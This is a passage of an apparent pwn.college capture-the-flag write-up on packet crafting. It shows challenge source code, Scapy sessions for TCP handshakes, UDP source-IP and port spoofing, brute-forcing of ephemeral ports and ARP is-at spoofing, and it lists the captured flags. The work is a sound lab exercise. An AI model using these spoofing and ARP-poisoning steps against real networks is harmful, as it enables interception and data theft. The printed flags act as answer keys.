scapy.conf.ifaces.reload()
scapy.sniff(prn=self.handle_packet, iface="eth0")

def handle_packet(self, packet):
if "IP" not in packet:
return
if packet["IP"].proto == 0xFF:
print(flag, flush=True)

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
raw_packet_host = RawPacketHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", raw_packet_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())
root@ip-10-0-0-1:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.1 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::f497:f7ff:fe5f:eea9 prefixlen 64 scopeid 0x20<link>
ether f6:97:f7:5f:ee:a9 txqueuelen 1000 (Ethernet)
RX packets 28 bytes 2276 (2.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9 bytes 726 (726.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

We can encapsulate a packet within another packet using the / separator.

>>> (Ether(src="f6:97:f7:5f:ee:a9", dst="ff:ff:ff:ff:ff:ff") / IP()).display()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = f6:97:f7:5f:ee:a9
type = IPv4
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = hopopt
chksum = None
src = 127.0.0.1
dst = 127.0.0.1
\options \

Now we just have to fill the correct fields.

>>> (Ether(src="f6:97:f7:5f:ee:a9", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2", proto=0xFF)).display()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = f6:97:f7:5f:ee:a9
type = IPv4
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = 255
chksum = None
src = 10.0.0.1
dst = 10.0.0.2
\options \
>>> sendp(Ether(src="f6:97:f7:5f:ee:a9", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2", proto=0xFF), iface="eth0")
.
Sent 1 packets.
pwn.college{kNuF6XCFRDDJxedKpxAlQ9yb0uV.ddjNzMDL4ITM0EzW}

 

TCP

Manually send a Transmission Control Protocol packet. The packet should have TCP sport=31337, dport=31337, seq=31337, ack=31337, flags=APRSF. The packet should be sent to the remote host at 10.0.0.2.

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os

import psutil
import scapy.all as scapy
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class RawPacketHost(Host):
def entrypoint(self):
scapy.conf.ifaces.reload()
scapy.sniff(prn=self.handle_packet, iface="eth0")

def handle_packet(self, packet):
if "TCP" not in packet:
return
if (packet["TCP"].sport == 31337 and packet["TCP"].dport == 31337 and
packet["TCP"].seq == 31337 and packet["TCP"].ack == 31337 and
packet["TCP"].flags == "APRSF"):
print(flag, flush=True)

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
raw_packet_host = RawPacketHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", raw_packet_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())
root@ip-10-0-0-1:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.1 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::8458:acff:fe24:7e03 prefixlen 64 scopeid 0x20<link>
ether 86:58:ac:24:7e:03 txqueuelen 1000 (Ethernet)
RX packets 31 bytes 2486 (2.4 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10 bytes 796 (796.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

We have to add another layer of encapsulation, which is TCP.

>>> (Ether(src="86:58:ac:24:7e:03", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP()).display()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 86:58:ac:24:7e:03
type = IPv4
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = 10.0.0.1
dst = 10.0.0.2
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = S
window = 8192
chksum = None
urgptr = 0
options = []

Let's fill the correct fields.

>>> (Ether(src="86:58:ac:24:7e:03", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF")).display()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 86:58:ac:24:7e:03
type = IPv4
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = 10.0.0.1
dst = 10.0.0.2
\options \
###[ TCP ]###
sport = 31337
dport = 31337
seq = 31337
ack = 31337
dataofs = None
reserved = 0
flags = FSRPA
window = 8192
chksum = None
urgptr = 0
options = []
>>> sendp(Ether(src="86:58:ac:24:7e:03", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"), iface="eth0")
.
Sent 1 packets.
pwn.college{8StjcaVle85KYtysso8f0NwHhkx.dhjNzMDL4ITM0EzW}

 

TCP Handshake

Manually perform a Transmission Control Protocol handshake. The initial packet should have TCP sport=31337, dport=31337, seq=31337. The handshake should occur with the remote host at 10.0.0.2.

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import random
import subprocess

import psutil
import scapy.all as scapy
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

def drop_rst_packets(sport):
subprocess.run(["/usr/sbin/iptables",
"-A", "OUTPUT",
"-p", "tcp",
"--tcp-flags", "RST", "RST",
"--sport", str(sport),
"-j", "DROP"],
stdin=subprocess.DEVNULL,
capture_output=True,
check=True)

class RawPacketHost(Host):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.seq = None

def entrypoint(self):
scapy.conf.ifaces.reload()
scapy.conf.route.resync()
drop_rst_packets(31337)
scapy.sniff(prn=self.handle_packet, iface="eth0")

def handle_packet(self, packet):
if "TCP" not in packet:
return
if not (packet["TCP"].sport == 31337 and packet["TCP"].dport == 31337):
return

if packet["TCP"].seq == 31337 and packet["TCP"].flags == "S":
self.seq = random.randrange(0, 2**32)
response_packet = (scapy.IP(src=packet["IP"].dst, dst=packet["IP"].src) /
scapy.TCP(sport=packet["TCP"].dport, dport=packet["TCP"].sport,
seq=self.seq, ack=(packet["TCP"].seq + 1) % (2**32),
flags="SA"))
scapy.send(response_packet, verbose=False)

if (packet["TCP"].seq == (31337 + 1) and
packet["TCP"].ack == ((self.seq + 1) % (2**32)) and
packet["TCP"].flags == "A"):
print(flag, flush=True)

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
raw_packet_host = RawPacketHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", raw_packet_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.exec(lambda: drop_rst_packets(31337))

user_host.interactive(environ=parent_process.environ())

A TCP handshake is really just a sequence of packets that establishes a secure and reliable connection between two devices.

It includes three packets:

  1. SYN
  2. SYN-ACK
  3. ACK
root@ip-10-0-0-1:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.1 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::3883:caff:fe64:a488 prefixlen 64 scopeid 0x20<link>
ether 3a:83:ca:64:a4:88 txqueuelen 1000 (Ethernet)
RX packets 18 bytes 1536 (1.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6 bytes 516 (516.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

We have to first send a SYN packet, represented by S as the flag.

>>> (Ether(src="3a:83:ca:64:a4:88", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, flags="S")).display()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 3a:83:ca:64:a4:88
type = IPv4
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = 10.0.0.1
dst = 10.0.0.2
\options \
###[ TCP ]###
sport = 31337
dport = 31337
seq = 31337
ack = 0
dataofs = None
reserved = 0
flags = S
window = 8192
chksum = None
urgptr = 0
options = []

We can send the packet over using srp.

>>> response = srp(Ether(src="3a:83:ca:64:a4:88", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, flags="S"), iface="eth0")
Begin emission

Finished sending 1 packets
.*
Received 2 packets, got 1 answers, remaining 0 packets

Let's look at the response from the host at 10.0.0.2.

>>> response[0][0]
QueryAnswer(
query=<Ether dst=ff:ff:ff:ff:ff:ff src=3a:83:ca:64:a4:88 type=IPv4 |<IP frag=0 proto=tcp src=10.0.0.1 dst=10.0.0.2 |<TCP sport=31337 dport=31337 seq=31337 flags=S |>>>,
answer=<Ether dst=3a:83:ca:64:a4:88 src=32:ed:40:fe:96:eb type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=40 id=1 flags= frag=0 ttl=64 proto=tcp chksum=0x66cd src=10.0.0.2 dst=10.0.0.1 |<TCP sport=31337 dport=31337 seq=24000824 ack=31338 dataofs=5 reserved=0 flags=SA window=8192 chksum=0xd1ec urgptr=0 |>>>
)

As we can see, the response has seq field set to 24000824 and the ack field set to 31338 which is our seq+1. So the host at 10.0.0.2 has acknowledged our SYN packet. Now we have to acknowledge theirs by setting our ack field to 24000825 which is their seq+1.

We also have to set the flag to A, which represents an ACK packet.

We also know the MAC address of the host at 10.0.0.2, 32:ed:40:fe:96:eb.

>>> sendp(Ether(src="3a:83:ca:64:a4:88", dst="32:ed:40:fe:96:eb") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31338, ack=24000825, flags="A"), iface="eth0")
.
Sent 1 packets.
pwn.college{MFeq4__GaD1i7X6t5G_hJxNRVsy.dljNzMDL4ITM0EzW}

 

UDP

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import psutil
import socket
import os

from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(("0.0.0.0", 31337))
while True:
try:
client_message, (client_host, client_port) = server_socket.recvfrom(1024)
if client_message == b"Hello, World!\n":
server_socket.sendto(flag.encode(), (client_host, client_port))
except ConnectionError:
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

Let's craft a UDP packet.

>>> (IP(dst="10.0.0.2") / UDP(sport=31337, dport=31337)).display()
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = udp
chksum = None
src = 10.0.0.1
dst = 10.0.0.2
\options \
###[ UDP ]###
sport = 31337
dport = 31337
len = None
chksum = None
>>> sr1(IP(dst="10.0.0.2") / UDP(sport=31337, dport=31337) / Raw(load="Hello, World!\n"))
Begin emission
.
Finished sending 1 packets
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=88 id=42364 flags=DF frag=0 ttl=64 proto=udp chksum=0x8116 src=10.0.0.2 dst=10.0.0.1 |<UDP sport=31337 dport=31337 len=68 chksum=0x1458 |<Raw load=b'pwn.college{IyEug8PTvV4SRHm8XPCrNxSUihI.QXyQDM2EDL4ITM0EzW}\n' |>>>

 

UDP 2

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import psutil
import socket
import os

from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(("0.0.0.0", 31337))
while True:
try:
client_message, (client_host, client_port) = server_socket.recvfrom(1024)
if client_port == 31338 and client_message == b"Hello, World!\n":
server_socket.sendto(flag.encode(), (client_host, client_port))
except ConnectionError:
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

Let's craft a UDP packet.

>>> (IP(dst="10.0.0.2") / UDP(sport=31338, dport=31337)).display()
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = udp
chksum = None
src = 10.0.0.1
dst = 10.0.0.2
\options \
###[ UDP ]###
sport = 31338
dport = 31337
len = None
chksum = None
>>> sr1(IP(dst="10.0.0.2") / UDP(sport=31338, dport=31337) / Raw(load="Hello, World!\n"))
Begin emission
.
Finished sending 1 packets
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=88 id=33942 flags=DF frag=0 ttl=64 proto=udp chksum=0xa1fc src=10.0.0.2 dst=10.0.0.1 |<UDP sport=31337 dport=31338 len=68 chksum=0x1458 |<Raw load=b'pwn.college{Mwz35MI1J6GMKGojDTxm77Allz1.QXzQDM2EDL4ITM0EzW}\n' |>>>

 

UDP Spoofing 1

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import psutil
import socket
import time
import os

from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(("0.0.0.0", 31337))
while True:
try:
client_message, (client_host, client_port) = server_socket.recvfrom(1024)
if client_message.strip() == b"ACTION?":
server_socket.sendto(b"NONE", (client_host, client_port))
except ConnectionError:
continue

class ClientHost(Host):
def entrypoint(self):
client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client_socket.bind(("0.0.0.0", 31338))
while True:
try:
client_socket.sendto(b"ACTION?", ("10.0.0.3", 31337))
message, (peer_host, peer_port) = client_socket.recvfrom(1024)
if peer_port == 31337 and message.strip() == b"FLAG":
print(f"YOUR FLAG: {flag}")

time.sleep(1)
except ConnectionError:
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host = ClientHost("ip-10-0-0-2")
server_host = ServerHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1", client_host: "10.0.0.2", server_host: "10.0.0.3"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

This challenge sets up a virtual network with a client that repeatedly asks a server for an "ACTION?" via UDP, expecting a "FLAG" response to print the flag. Since the server only replies with "NONE", the goal is to spoof a UDP packet from the server's IP and port to trick the client into printing the flag.

>>> (IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(load="FLAG")).display()
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = udp
chksum = None
src = 10.0.0.3
dst = 10.0.0.2
\options \
###[ UDP ]###
sport = 31337
dport = 31338
len = None
chksum = None
###[ Raw ]###
load = b'FLAG'
>>> send(IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(load="FLAG"))
.
Sent 1 packets.
>>> YOUR FLAG: pwn.college{UuowlpVF-BCfmk1CyhSy_9aopeC.QX0QDM2EDL4ITM0EzW}

 

UDP Spoofing 2

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import psutil
import socket
import time
import os

from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(("0.0.0.0", 31337))
while True:
try:
client_message, (client_host, client_port) = server_socket.recvfrom(1024)
if client_message.strip() == b"ACTION?":
server_socket.sendto(b"NONE", (client_host, client_port))
except ConnectionError:
continue

class ClientHost(Host):
def entrypoint(self):
client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client_socket.bind(("0.0.0.0", 31338))
while True:
time.sleep(1)
try:
client_socket.sendto(b"ACTION?", ("10.0.0.3", 31337))
message, (peer_host, peer_port) = client_socket.recvfrom(1024)
if peer_port == 31337 and message.startswith(b"FLAG"):
_, flag_host, flag_port = message.strip().split(b":")
client_socket.sendto(flag.encode(), (flag_host, int(flag_port)))
except (ConnectionError, ValueError):
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host = ClientHost("ip-10-0-0-2")
server_host = ServerHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1", client_host: "10.0.0.2", server_host: "10.0.0.3"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

The challenge sets up a virtual network where a client periodically sends "ACTION?" to a server over UDP, and if it ever receives a FLAG:ip:port response, it sends the actual flag to that address. Our goal is to trick the client into sending us the flag by spoofing a UDP packet from the server with our IP and port.

We will have to put the listener in the background, and then send the packet in the same shell. If we split our terminal, the sessions are treated as separate and the MAC address of teh host is different.

root@ip-10-0-0-1:/# nc -u -lvp 9999 &
[1] 785
>>> (IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(load="FLAG:10.0.0.1:9999")).display()
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = udp
chksum = None
src = 10.0.0.3
dst = 10.0.0.2
\options \
###[ UDP ]###
sport = 31337
dport = 31338
len = None
chksum = None
###[ Raw ]###
load = b'FLAG:10.0.0.1:9999'
>>> send(IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(load="FLAG:10.0.0.1:9999"))
.
Sent 1 packets.
>>> nc: getnameinfo: Temporary failure in name resolution
pwn.college{Qa7I7oqR_1wCI546RKLcU_CW77L.QX1QDM2EDL4ITM0EzW}

 

UDP Spoofing 3

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import psutil
import socket
import time
import os

from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(("0.0.0.0", 31337))
while True:
try:
client_message, (client_host, client_port) = server_socket.recvfrom(1024)
if client_message.strip() == b"ACTION?":
server_socket.sendto(b"NONE", (client_host, client_port))
except ConnectionError:
continue

class ClientHost(Host):
def entrypoint(self):
client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
time.sleep(1)
try:
client_socket.sendto(b"ACTION?", ("10.0.0.3", 31337))
message, (peer_host, peer_port) = client_socket.recvfrom(1024)
if peer_port == 31337 and message.startswith(b"FLAG"):
_, flag_host, flag_port = message.strip().split(b":")
client_socket.sendto(flag.encode(), (flag_host, int(flag_port)))
except (ConnectionError, ValueError):
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host = ClientHost("ip-10-0-0-2")
server_host = ServerHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1", client_host: "10.0.0.2", server_host: "10.0.0.3"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

This time the client does not bind it's socket to any port explicitely. rahter implicitly when sending the first sendto(), and reuses that same socket and port for receiving.

So we will have to brute-force the port on which the client

root@ip-10-0-0-1:/# nc -u -lvp 9999 &
[1] 1136
In [1]: from scapy.all import *
...:
...: for port in range(32768, 61000):
...: pkt = IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=port) / Raw(load="FLAG:10.0.0.1:9999")
...: send(pkt, verbose=0)
...:
nc: getnameinfo: Temporary failure in name resolution
pwn.college{gaHGS_2JwLNSOQCbFMznbkN_zzL.QX2QDM2EDL4ITM0EzW}

 

UDP Spoofing 4

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import psutil
import socket
import time
import os

from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(("0.0.0.0", 31337))
while True:
try:
client_message, (client_host, client_port) = server_socket.recvfrom(1024)
if client_message.strip() == b"ACTION?":
server_socket.sendto(b"NONE", (client_host, client_port))
except ConnectionError:
continue

class ClientHost(Host):
def entrypoint(self):
client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
time.sleep(1)
try:
client_socket.sendto(b"ACTION?", ("10.0.0.3", 31337))
message, (peer_host, peer_port) = client_socket.recvfrom(1024)
if peer_host == "10.0.0.3" and peer_port == 31337 and message.startswith(b"FLAG"):
_, flag_host, flag_port = message.strip().split(b":")
client_socket.sendto(flag.encode(), (flag_host, int(flag_port)))
except (ConnectionError, ValueError):
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host = ClientHost("ip-10-0-0-2")
server_host = ServerHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1", client_host: "10.0.0.2", server_host: "10.0.0.3"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

Now, you must spoof both the source IP and port to make it appear as if the packet came from 10.0.0.3:31337.

Our code from the last challenge should work here as well.

root@ip-10-0-0-1:/# nc -u -lvp 9999 &
[1] 751
In [1]: from scapy.all import *
...:
...: for port in range(32768, 61000):
...: pkt = IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=port) / Raw(load="FLAG:10.0.0.1:9999")
...: send(pkt, verbose=0)
...:
nc: getnameinfo: Temporary failure in name resolution
pwn.college{sRelbVQeI3jCMhBSrRS21P2Rv_k.QX3QDM2EDL4ITM0EzW}

 

ARP

Manually send an Address Resolution Protocol packet. The packet should inform the remote host that the IP address 10.0.0.42 can be found at the Ethernet address 42:42:42:42:42:42. The packet should be sent to the remote host at 10.0.0.2.

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os

import psutil
import scapy.all as scapy
from dojjail import Host, Network

WHO_HAS = 1
IS_AT = 2

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class RawPacketHost(Host):
def entrypoint(self):
scapy.conf.ifaces.reload()
scapy.sniff(prn=self.handle_packet, iface="eth0")

def handle_packet(self, packet):
if "ARP" not in packet:
return
if (packet["ARP"].psrc == "10.0.0.42" and packet["ARP"].hwsrc == "42:42:42:42:42:42" and
packet["ARP"].op == IS_AT):
print(flag, flush=True)

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
raw_packet_host = RawPacketHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", raw_packet_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())
root@ip-10-0-0-1:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.1 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::9c52:48ff:fe85:bab6 prefixlen 64 scopeid 0x20<link>
ether 9e:52:48:85:ba:b6 txqueuelen 1000 (Ethernet)
RX packets 18 bytes 1556 (1.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5 bytes 426 (426.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

We need to tell the host at 10.0.0.2 that we have the IP address that they want to talk to. For that we need to send an ARP is-at response.

Note that ARP encapsulates an Ethernet frame.

>>> ARP().display()
WARNING: No route found for IPv4 destination 0.0.0.0 (no default route?)
WARNING: No route found for IPv4 destination 0.0.0.0 (no default route?)
###[ ARP ]###
hwtype = Ethernet (10Mb)
ptype = IPv4
hwlen = None
plen = None
op = who-has
hwsrc = 00:00:00:00:00:00
psrc = 0.0.0.0
hwdst = 00:00:00:00:00:00
pdst = 0.0.0.0

The packet fields represent the following:

  • hwsrc: Source hardware address. This will be updated in the target's ARP table.
  • psrc: The IP to be added in the target's ARP table.
  • hwdst: Destination hardware address.
  • pdst: Destination where the ARP packet must go.
>>> (Ether(src="9e:52:48:85:ba:b6", dst="ff:ff:ff:ff:ff:ff") / ARP(op="is-at", hwsrc="42:42:42:42:42:42", psrc="10.0.0.42", hwdst="ff:ff:ff:ff:ff:ff", pdst="10.0.0.2")).display()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 9e:52:48:85:ba:b6
type = ARP
###[ ARP ]###
hwtype = Ethernet (10Mb)
ptype = IPv4
hwlen = None
plen = None
op = is-at
hwsrc = 42:42:42:42:42:42
psrc = 10.0.0.42
hwdst = ff:ff:ff:ff:ff:ff
pdst = 10.0.0.2
>>> sendp(Ether(src="9e:52:48:85:ba:b6", dst="ff:ff:ff:ff:ff:ff") / ARP(op="is-at", hwsrc="42:42:42:42:42:42", psrc="10.0.0.42", hwdst="ff:ff:ff:ff:ff:ff", pdst="10.0.0.2"), iface="eth0")
.
Sent 1 packets.
pwn.college{wP575ocvtjd1WArdmPDG-QiQlAy.dBzNzMDL4ITM0EzW}

 

Intercept

Intercept traffic from a remote host. The remote host at 10.0.0.2 is communicating with the remote host at 10.0.0.3 on port 31337.

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket
import time

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
client_socket = socket.socket()
client_socket.connect(("10.0.0.3", 31337))
client_socket.sendall(flag.encode())
client_socket.close()
except (OSError, ConnectionError, TimeoutError):
continue

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
connection.recv(1024)
connection.close()
except ConnectionError:
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host = ClientHost("ip-10-0-0-2")
server_host = ServerHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1",
client_host: "10.0.0.2",
server_host: "10.0.0.3"},
subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())
root@ip-10-0-0-1:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.1 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::b058:67ff:fea3:8a0a prefixlen 64 scopeid 0x20<link>
ether b2:58:67:a3:8a:0a txqueuelen 1000 (Ethernet)
RX packets 14 bytes 1148 (1.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 266 (266.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

